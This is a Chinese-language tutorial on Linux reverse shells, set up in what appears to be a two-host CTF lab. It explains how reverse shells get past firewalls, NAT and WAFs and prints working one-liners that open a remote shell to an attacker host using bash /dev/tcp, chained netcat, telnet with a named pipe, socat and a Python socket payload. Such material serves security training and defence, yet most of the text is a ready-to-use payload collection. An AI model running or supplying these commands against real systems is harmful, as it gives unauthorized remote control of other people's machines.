Linux反弹Shell的多种技巧
反弹Shell的使用场景
使用反弹Shell(Reverse Shell)的主要原因包括防火墙限制、权限不足、端口限制、动态IP、内网NAT等情况,这些限制使得传统的正向连接(如SSH、Telnet等)难以实现。以下是使用反弹Shell的几个主要原因:
- 防火墙限制:目标主机可能位于防火墙之后,该防火墙只允许出站连接而不允许入站连接。在这种情况下,正向连接(攻击者主动连接到目标主机)将无法实现,而反弹Shell允许目标主机主动连接到攻击者监听的端口,从而绕过防火墙限制。
- 动态IP地址或网络限制:目标主机的IP地址可能是动态的,或者网络环境经常变化,导致攻击者无法持续通过正向连接进行控制。反弹Shell允许目标主机主动寻找并连接到攻击者的稳定IP地址,确保连接的持续性。
- 端口限制:当目标机器的端口被占用或无法直接连接时,反弹Shell可以通过受害者主机主动连接到攻击者的服务端,实现命令执行,解决了端口限制的问题。
- 安全策略或软件限制:目标主机可能配置了严格的安全策略或软件(如WAF),这些策略或软件对入站连接进行严格的检测和过滤,但对出站连接的检查可能较少或不存在。通过反弹Shell,攻击者可以绕过这些安全策略或软件的检测。
- 目标主机在局域网内:如果目标主机位于局域网内,并且从外网无法直接访问,那么正向连接将无法实现。反弹Shell允许目标主机通过局域网内的路由器或网关主动连接到外网的攻击者,从而实现对目标主机的远程控制。
- 目标环境不明确:如果攻击者对被控机器的环境不了解,如对方的网络环境、开关机时间等,使用反弹shell可以建立一个服务端让被攻击主机主动连接,从而不用担心目标机器的状态。
前期准备
这里我们使用主机1作为攻击主机,主机2作为被攻击主机。
- 主机1
操作系统:Ubuntu 24.04
主机IP:192.168.88.201
主机名:ctf-1 - 主机2
操作系统:Ubuntu 24.04
主机IP:192.168.88.202
主机名:ctf-2 - 必要工具安装
# 安装netcat
apt install netcat-traditional
命令 nc -lvnp <端口号> 在 Linux 系统中用于启动一个监听指定端口的 Netcat(nc)服务。Netcat 是一个功能强大的网络工具,用于读写网络连接。这个命令的各个选项意义如下:
-l:监听传入的连接,而不是主动向外发起连接。
-v:详细模式(verbose),显示输入输出信息。有些版本的 Netcat 可能需要 -vv 来获得更详细的输出。
-n:直接使用 IP 地址,不通过域名服务器(DNS)来解析主机名。这可以加快连接速度,特别是在处理大量连接或测试时。
-p <端口号>:指定本地端口号进行监听。<端口号> 应该替换为你想要监听的端口号,比如 4444。
1、使用Bash进行Shell反弹
前提条件:当前用户有权限执行Bash命令。
- 在攻击主机上监听准备使用的端口
# 监听5000端口
nc -lvnp 5000
示例如下:
- 在目标主机上使用Bash发起反弹Shell连接
# 发起反弹Shell连接
bash -i >& /dev/tcp/192.168.88.201/5000 0>&1
bash -i 打开一个交互的bash
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口号
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互。
/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
>& 将标准错误输出重定向到标准输出,此时“&”等于“1&2”
0>&1 将标准输入重定向到标准输出,此时“&”用来区分文件和文件描述符
标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;
示例如下:
- Bash反弹Shell成功示例如下:
2、使用nc进行Shell反弹
前提条件:目标主机上安装有netcat,且当前用户有权限执行nc命令。
目前比较新的netcat版本已经不再支持“-e”命令,所以只能使用串联的方式进行反弹Shell,即开启两个终端监听不同端口分别用于接收输入和输出。
- 在攻击主机上监听5000端口用于输入命令,监听5001端口用于接收返回内容。
# 监听5000端口用于输入命令
nc -lvnp 5000
# 监听5001端口用于接收返回内容
nc -lvnp 5001
示例如下:
- 在目标主机上使用nc命令发起反弹Shell连接
# 使用nc命令串联发起反弹Shell连接
# nc 攻击主机的IP 输入命令的端口 | /bin/bash | nc 攻击主机的IP 接收返回内容的端口
nc 192.168.88.201 5000 | /bin/bash | nc 192.168.88.201 5001
示例如下:
- nc命令串联反弹Shell成功示例如下:
3、使用telnet进行Shell反弹
前提条件:目标主机上安装有telnet,且当前用户有权限执行telnet命令。
Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具,可视作SSH的前身。
3.1 单端口实现反弹Shell(使用限制大,通常不使用)
前提条件:当前用户拥有root权限或有权限执行 mknod 命令。
- 在攻击主机上监听准备使用的端口
# 监听5000端口
nc -lvnp 5000
- 在目标主机上使用telnet发起反弹Shell连接。
# 使用mknod命令创建文件节点和命名管道,然后使用telnet进行反弹Shell连接
mknod a p; telnet 192.168.88.201 5000 0<a | /bin/bash 1>a
mknod 是一个创建文件系统节点的命令。
a 是创建的节点的名称。
p 表示创建的是一个命名管道(FIFO)。
这行命令的作用是创建一个名为 a 的命名管道。命名管道允许两个进程通过它相互通信,类似于内存中的管道,但是它是基于文件系统的。
0<a:这个部分表示将标准输入(stdin,文件描述符 0)重定向到命名管道 a。
换句话说,命令行中的输入将从管道 a 中读取。
| /bin/bash 1>a:这个部分将 Telnet 的输出通过管道传递给 Bash Shell (/bin/bash) 进行处理。
1>a 表示将 Bash Shell 的标准输出(stdout,文件描述符 1)重定向到命名管道 a 中。
连接成功示例如下:
- telnet反弹Shell,命令执行成功示例如下:
3.2 使用telnet串联实现反弹Shell
- 在攻击主机上监听5000端口用于输入命令,监听5001端口用于接收返回内容。
# 监听5000端口用于输入命令
nc -lvnp 5000
# 监听5001端口用于接收返回内容
nc -lvnp 5001
示例如下:
- 在目标主机上使用telnet命令发起反弹Shell连接
# 使用telnet命令串联发起反弹Shell连接
# telnet 攻击主机的IP 输入命令的端口 | /bin/bash | telnet 攻击主机的IP 接收返回内容的端口
telnet 192.168.88.201 5000 | /bin/bash | telnet 192.168.88.201 5001
示例如下:
- telnet命令串联反弹Shell成功示例如下:
4、使用socat进行Shell反弹
Socat是Linux 下一个多功能的网络工具,全名是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,可以看做netcat的加强版。
前提条件:目标主机上安装有socat,且当前用户有权限执行socat命令。
# 安装socat
apt install socat
- 在攻击主机上监听准备使用的端口
# 监听5000端口
nc -lvnp 5000
- 在目标主机上使用socat发起反弹Shell连接。
# 使用socat命令串联发起反弹Shell连接
# socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击主机IP:攻击主机使用的端口号
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.88.201:5000
连接成功示例如下:
- socat反弹Shell,命令执行成功示例如下:
5、使用Python进行Shell反弹
前提条件:当前用户有权限执行python命令。
使用“python”或“python3”执行。
- 在攻击主机上监听准备使用的端口
# 监听5000端口
nc -lvnp 5000
- 在目标主机上使用Python发起反弹Shell连接。
# Python2
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击主机IP',攻击主机监听的端口号));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# Python3
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.88.201',5000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
连接成功示例如下:
- Python反弹Shell,命令执行成功示例如下: